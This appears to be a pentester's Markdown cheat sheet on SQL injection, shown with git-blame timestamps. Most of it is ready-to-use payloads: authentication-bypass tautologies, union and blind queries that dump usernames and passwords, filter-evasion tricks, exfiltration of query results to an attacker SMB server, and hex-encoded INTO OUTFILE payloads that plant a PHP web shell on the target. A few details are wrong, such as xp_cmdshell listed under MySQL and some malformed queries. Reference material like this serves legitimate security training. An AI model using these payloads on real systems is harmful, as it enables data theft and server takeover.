2022-11-13 22:38:01 +01:00
|
|
|
# SQL Injection
|
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
In an SQL injection an SQL statement is ended prematurely through setting the
|
|
|
|
quote earlier than intended by the original programmer. The malicious command
|
|
|
|
is then ended by an SQL comment to ignore the following parts of the original
|
|
|
|
SQL statement.
|
|
|
|
A piece of understanding the way of injecting malicious SQL commands is to
|
|
|
|
understand the syntax of [MySQL
|
|
|
|
Comments](https://blog.raw.pm/en/sql-injection-mysql-comment/).
|
2022-11-14 00:50:02 +01:00
|
|
|
|
|
|
|
* [OWASP SQLi Docs](https://www.owasp.org/index.php/SQL_Injection)
|
2022-11-13 22:38:01 +01:00
|
|
|
|
|
|
|
## Finding an Opportunity
|
2022-11-14 00:50:02 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
GET parameter
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
http://example.com/index.php?id=' or 1=1 -- -
|
|
|
|
```
|
2022-11-14 00:50:02 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
Sometimes another parameter may come first
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
http://example.com/index.php?id=10 or 1=1 -- +
|
|
|
|
http://example.com/index.php?id=10' or '1'='1'-- -
|
|
|
|
http://example.com/index.php?id=-1' or 1=1 -- -&password=x
|
|
|
|
```
|
2022-11-14 00:50:02 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
Provoking an error to gain information if an injection might be possible. Check
|
|
|
|
by just putting in a single quote
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
http://example.com/index.php?id='
|
|
|
|
```
|
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
**Incase of client side sanitization craft the URL instead of using the form!!!**
|
2022-11-14 00:50:02 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
## In-Band SQLi
|
|
|
|
|
|
|
|
Terminate the string of the SQL command via `'` and resolve via tautology like
|
|
|
|
1=1, comment the rest of the string via `--`. This defaults to a true statement
|
|
|
|
and delivers a response containing DB content
|
2022-11-14 00:50:02 +01:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sql
|
|
|
|
SELECT * FROM users WHERE username = admin AND password := ' and 1=1 -- -
|
|
|
|
SELECT * FROM users WHERE username = admin AND password := ' or 1=1 --+
|
|
|
|
```
|
|
|
|
|
2022-11-14 00:50:02 +01:00
|
|
|
There are further methods of SQL injection following below.
|
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
### Identify Database
|
|
|
|
|
|
|
|
The following examples are methods of retrieving the type of DBMS in use.
|
|
|
|
|
|
|
|
```sh
|
|
|
|
id=sqlite_version()
|
|
|
|
id=@@version # mysql/mssql
|
|
|
|
id=(SELECT banner FROM v$version) # oracle
|
|
|
|
```
|
|
|
|
|
|
|
|
### Union based
|
|
|
|
|
|
|
|
Union based injections is an incremental and cautios approach.
|
|
|
|
Start by trying to provoke errors to validate a possible injection.
|
|
|
|
|
|
|
|
* __First method__ check by order until error occurs
|
|
|
|
|
|
|
|
```sql
|
|
|
|
' order by 1 -- -
|
|
|
|
' order by 2 -- -
|
|
|
|
' order by 3 -- -
|
|
|
|
```
|
|
|
|
|
|
|
|
Check the number of columns by inserting NULL values one after another.
|
|
|
|
|
|
|
|
__Second method__ fuzzing NULL values, followed by fuzzing data types
|
|
|
|
|
|
|
|
Check number of cols
|
|
|
|
|
|
|
|
```sql
|
|
|
|
' UNION SELECT NULL-- -
|
|
|
|
' UNION SELECT NULL,NULL-- -
|
|
|
|
' UNION SELECT NULL,NULL,NULL-- -
|
|
|
|
# until the error occurs
|
|
|
|
```
|
|
|
|
|
|
|
|
Check which one contains String values
|
|
|
|
|
|
|
|
```sql
|
|
|
|
' UNION SELECT 'a',NULL,NULL,NULL -- -
|
|
|
|
' UNION SELECT NULL,'a',NULL,NULL -- -
|
|
|
|
' UNION SELECT NULL,NULL,'a',NULL -- -
|
|
|
|
' UNION SELECT NULL,NULL,NULL,'a' -- -
|
|
|
|
```
|
|
|
|
|
|
|
|
Retrieve content, for cols as an example, or dump database
|
|
|
|
|
|
|
|
```sql
|
|
|
|
' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- - //
|
|
|
|
' UNION SELECT NULL,username,password,NULL FROM users -- - //
|
|
|
|
```
|
|
|
|
|
|
|
|
Retrieve content by union poking the count and order of columns, afterwards
|
|
|
|
extracting tables via
|
|
|
|
|
|
|
|
```sh
|
|
|
|
0 union select null, null, database()
|
|
|
|
0 union select null, null, group_concat(table_name) from information_schema.tables where table_schema = 'found_db'
|
|
|
|
0 union select null, null, group_concat(column_name) from information_schema.columns where table_name = 'found_tablename'
|
|
|
|
0 union select null, null, group_concat(username, ':', password from found_tablename
|
|
|
|
```
|
|
|
|
|
|
|
|
The examples above contain methods of retrieving table name, column names. The
|
|
|
|
last example uses the information returned to inject the correct column names
|
|
|
|
so the acutal content of them are retrieved. Further examples under [SQL
|
|
|
|
Functions](#SQL-Functions)
|
|
|
|
|
|
|
|
#### SQL Functions
|
|
|
|
|
|
|
|
Use SQL functions to poke the tables & cols via union.
|
|
|
|
* [source](https://medium.com/@nyomanpradipta120/sql-injection-union-attack-9c10de1a5635)
|
|
|
|
|
|
|
|
Extract tables
|
|
|
|
|
|
|
|
```sql
|
|
|
|
1' and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() -- -
|
|
|
|
```
|
|
|
|
SQLite specifica
|
|
|
|
|
|
|
|
```sql
|
|
|
|
' UNION SELECT sql, sql FROM sqlite_master -- -
|
|
|
|
```
|
|
|
|
|
|
|
|
```sql
|
|
|
|
(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable')
|
|
|
|
(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')
|
|
|
|
```
|
|
|
|
|
|
|
|
Extract columns
|
|
|
|
|
|
|
|
```sh
|
|
|
|
1' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name ='user'-- -
|
|
|
|
```
|
|
|
|
|
|
|
|
Extract Data from cols
|
|
|
|
```sql
|
|
|
|
1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from user-- -
|
|
|
|
```
|
|
|
|
|
|
|
|
## Inferential SQLi
|
|
|
|
|
|
|
|
The result of the SQLi may not be directly visible but can be measured through
|
|
|
|
side channels like timespan between request and response or by a boolean value.
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
### Boolean True and False
|
2022-11-14 00:50:02 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
```sql
|
|
|
|
SELECT * FROM users WHERE id = 420 and 69=69
|
|
|
|
SELECT * FROM users WHERE id = 420 and 1=69
|
|
|
|
```
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sql
|
|
|
|
SELECT * FROM users WHERE username = admin AND password :=1' or 1 < 2 --+
|
|
|
|
SELECT * FROM users WHERE username = admin AND password :=1' or 1 > 2 --+
|
|
|
|
```
|
2022-11-14 00:50:02 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
Blind boolean base substring fuzzes one char at a time, by inspecting the
|
|
|
|
return value after each inserted char.
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sql
|
|
|
|
' UNION SELECT null,null,null where database() like 'da%';-- -
|
|
|
|
```
|
|
|
|
|
2022-11-14 00:50:02 +01:00
|
|
|
### Time Based
|
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
Checking input blindly via sleep() function. Count the number of columns in
|
|
|
|
this way. on success, the sleep(5) function executes
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sql
|
|
|
|
' union select sleep(3), null; -- -
|
2024-06-11 21:23:16 +02:00
|
|
|
' SELECT * from users where id = 420; IF (69=69) WAITFOR DELAY '00:00:03' -- -
|
2022-11-13 22:38:01 +01:00
|
|
|
```
|
|
|
|
|
2022-11-14 00:50:02 +01:00
|
|
|
### Blind injection
|
|
|
|
|
2024-02-04 23:39:37 +01:00
|
|
|
A blind injection methods tries to guess characters not by returned values
|
|
|
|
but by how the DB behaves to your request
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
http://example.com/?id=1' and substr((select database()),1,1) < 105 --+
|
|
|
|
```
|
2024-02-04 23:39:37 +01:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
http://example.com/?id=1' and (ascii(substr((select database(),1,1)) = 115 --+
|
|
|
|
```
|
2024-02-04 23:39:37 +01:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* Function substr(string, start, length)
|
2024-02-04 23:39:37 +01:00
|
|
|
* sqlmap via `--level=5 --risk=3 --dbms=sqlite --technique=b --dump`
|
|
|
|
|
|
|
|
__How do you go forward when you know, that there is a possible boolean blind injection?__
|
|
|
|
|
|
|
|
You want to get
|
|
|
|
|
|
|
|
* Database name
|
|
|
|
* Table name
|
|
|
|
* Column name
|
|
|
|
|
|
|
|
and watch out for return values, status codes, if you are logged in a session
|
|
|
|
inside the browser, etc., ... .
|
|
|
|
|
|
|
|
Start at the databasename character on position 1, after that 2 and so on via a
|
|
|
|
POST request
|
|
|
|
|
|
|
|
```sql
|
|
|
|
username=admin'+and+substring(database(),1,1)="a"+#&password='
|
|
|
|
username=admin'+and+substring(database(),2,1)="b"+#&password='
|
|
|
|
```
|
|
|
|
|
|
|
|
Next, find the characters of the tablename via
|
|
|
|
|
|
|
|
```sql
|
|
|
|
username=admin'+and+substring((select+table_name+from+information_schema.tables+where+table_schema="<found_databasename>"+limit+0,1),1,1)+=+"a"+#&password='
|
|
|
|
username=admin'+and+substring((select+table_name+from+information_schema.tables+where+table_schema="<found_databasename>"+limit+0,1),2,1)+=+"b"+#&password='
|
|
|
|
```
|
|
|
|
|
|
|
|
Find the column_name of the table
|
|
|
|
|
|
|
|
```sql
|
|
|
|
username=admin'+and+substring((select+column_name+from+information_schema.columns+where+table_name="<found_tablename>"+limit+0,1),1,1)+=+"a"+#&password='
|
|
|
|
username=admin'+and+substring((select+column_name+from+information_schema.columns+where+table_name="<found_tablename>"+limit+0,1),2,1)+=+"b"+#&password='
|
|
|
|
```
|
|
|
|
|
|
|
|
Query content of the table and columns found via
|
|
|
|
|
|
|
|
```sql
|
|
|
|
username=admin'+and+substring((select+<found_columnname>+from+<found_tablename>+limit+0,1),1,1)="a"+#&password='
|
|
|
|
```
|
2022-11-13 22:38:01 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
## Out-of-Band SQLi
|
2022-11-14 00:50:02 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
Out-of-band requests are injected through a different channel than the
|
|
|
|
resulting response.
|
2022-11-14 00:50:02 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
### Second-Order SQLi
|
2024-02-04 23:39:37 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
The result is not directly visible, instead some indirect response is executed,
|
|
|
|
maybe at a later stage of the attack through inserting a a SQLi through your
|
|
|
|
original SQLi payload.
|
2022-11-14 00:50:02 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
Check if an inserted SQL query may be set instead of regular data, e.g. instead
|
|
|
|
of a name and let it be queried via a second step.
|
2022-11-14 00:50:02 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
### Other Communication Channels
|
2022-11-14 00:50:02 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
Instead of a direct response there may be indirect results possible, like the following.
|
2022-11-14 00:50:02 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
Write to a file via `OUTFILE`.
|
2022-11-14 00:50:02 +01:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sql
|
2024-06-11 21:23:16 +02:00
|
|
|
SELECT passwords FROM users INTO OUTFILE '/dev/shm/passwords.txt`
|
2022-11-13 22:38:01 +01:00
|
|
|
```
|
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
Executing shell commands for extraction through `xp_cmdshell` on MYSQL.
|
2022-11-13 22:38:01 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
When using Oracle DBs send your data via `UTL_HTTP.BEGIN_REQUEST` to an
|
|
|
|
exfiltration target.
|
2022-11-14 00:50:02 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
Other exfiltration targets may be DNS or SMB servers.
|
2022-11-13 22:38:01 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
On the attacker side start an SMB server.
|
2022-11-14 00:50:02 +01:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
2024-06-11 21:23:16 +02:00
|
|
|
impacket-smbserver -smb2support -comment "Attacker SMB" -debug logs /tmp
|
2022-11-13 22:38:01 +01:00
|
|
|
```
|
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
Execute the following query on the target.
|
2022-11-14 00:50:02 +01:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
2024-06-11 21:23:16 +02:00
|
|
|
420'; SELECT @@version into outfile '\\\\$ATTACKER_SMB_IP\\logs\\response.txt'; -- -
|
2022-11-13 22:38:01 +01:00
|
|
|
```
|
|
|
|
|
2022-11-14 00:50:02 +01:00
|
|
|
## Value Insertion
|
|
|
|
|
|
|
|
Under the right conditions, it is possible to insert information into a table.
|
2022-11-13 22:38:01 +01:00
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
Check user file permissions if an insertion is possible
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sql
|
|
|
|
union all select 1,group_concat(user,0x3a,file_priv),3,4 from mysql.user -- -
|
|
|
|
```
|
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
Insert file through insertion of `system()` or `exec_shell()` and a get
|
|
|
|
parameter
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sql
|
|
|
|
<cookieID>'into outfile '/var/www/html/shello.php' lines terminated by 0x3c3f706870206563686f20223c7072653e22202e2073797374656d28245f4745545b22636d64225d29202e20223c2f7072653e223b3f3e -- -
|
|
|
|
```
|
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
Insert `<?php system($_GET["cmd"]); ?>`
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sql
|
|
|
|
" Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '/var/www/html/shell.php' -- -
|
|
|
|
```
|
|
|
|
|
2022-11-14 00:50:02 +01:00
|
|
|
### Further Examples
|
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
Sqli inside HTTP request to an API. Five columns in the select have been
|
|
|
|
discovered before
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```HTTP
|
|
|
|
GET /about/0 UNION select column_name, null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
|
|
|
|
```
|
2024-06-11 21:23:16 +02:00
|
|
|
|
|
|
|
Get column names through the following example.
|
|
|
|
|
|
|
|
```HTTP
|
|
|
|
GET /about/0 UNION all select group_concat(column_name), null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
|
|
|
|
```
|
|
|
|
|
|
|
|
Get rows from users by id
|
|
|
|
|
|
|
|
```HTTP
|
|
|
|
GET /about/0 UNION all select notes, null, null, null, null from users where id = 4711 HTTP/1.1
|
|
|
|
```
|
|
|
|
|
|
|
|
## Filter Bypass
|
|
|
|
|
|
|
|
Bypass may be possible through character encodings like
|
|
|
|
|
|
|
|
* Percent/URL
|
|
|
|
* Hex
|
|
|
|
* Unicode
|
|
|
|
|
|
|
|
To bypass quote filtering use the following methods.
|
|
|
|
|
|
|
|
* Numerical values which do not need quotes like `420=420`
|
|
|
|
* SQL comments `username --`
|
|
|
|
* Create the username through `CONCAT(0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d 0x65)`
|
|
|
|
|
|
|
|
To bypass space filtering use the following methods.
|
|
|
|
|
|
|
|
* Open and close a comment instead of using a space -> `/**/`
|
|
|
|
* Use `\t` or `\n` instead of space
|
|
|
|
* Encode the space or alternative `\t` or `\n` character, e.g. `%0A`
|
|
|
|
|
|
|
|
To bypass keyword removal use the following methods.
|
|
|
|
|
|
|
|
* Use a comment in the midst of the keyword that would be removed -> `un/**/ion`
|
|
|
|
* Write the keyword in unusual lower and uppercase characters -> `uNiOn`
|
|
|
|
* Use `Concat()`, to create the keyword, e.g. `CONCAT(0x61, 0x64, 0x6D, 0x69, 0x6E)` or `CONCAT('u','n','i','o','n')`
|
|
|
|
* Use Encodings for the keyword
|
|
|
|
|
|
|
|
Use logical operate instead of english keywords, e.g. `&&` instead of `and`.
|
2022-11-13 22:38:01 +01:00
|
|
|
|
|
|
|
## Payloads
|
2024-06-11 21:23:16 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* [List](https://github.com/payloadbox/sql-injection-payload-list#generic-sql-injection-payloads)
|
|
|
|
|
2024-06-11 21:23:16 +02:00
|
|
|
## Tools
|
|
|
|
|
|
|
|
* [SQLmap](https://github.com/sqlmapproject/sqlmap)
|
|
|
|
* [Bbbqsql for blind injections](https://github.com/CiscoCXSecurity/bbqsql)
|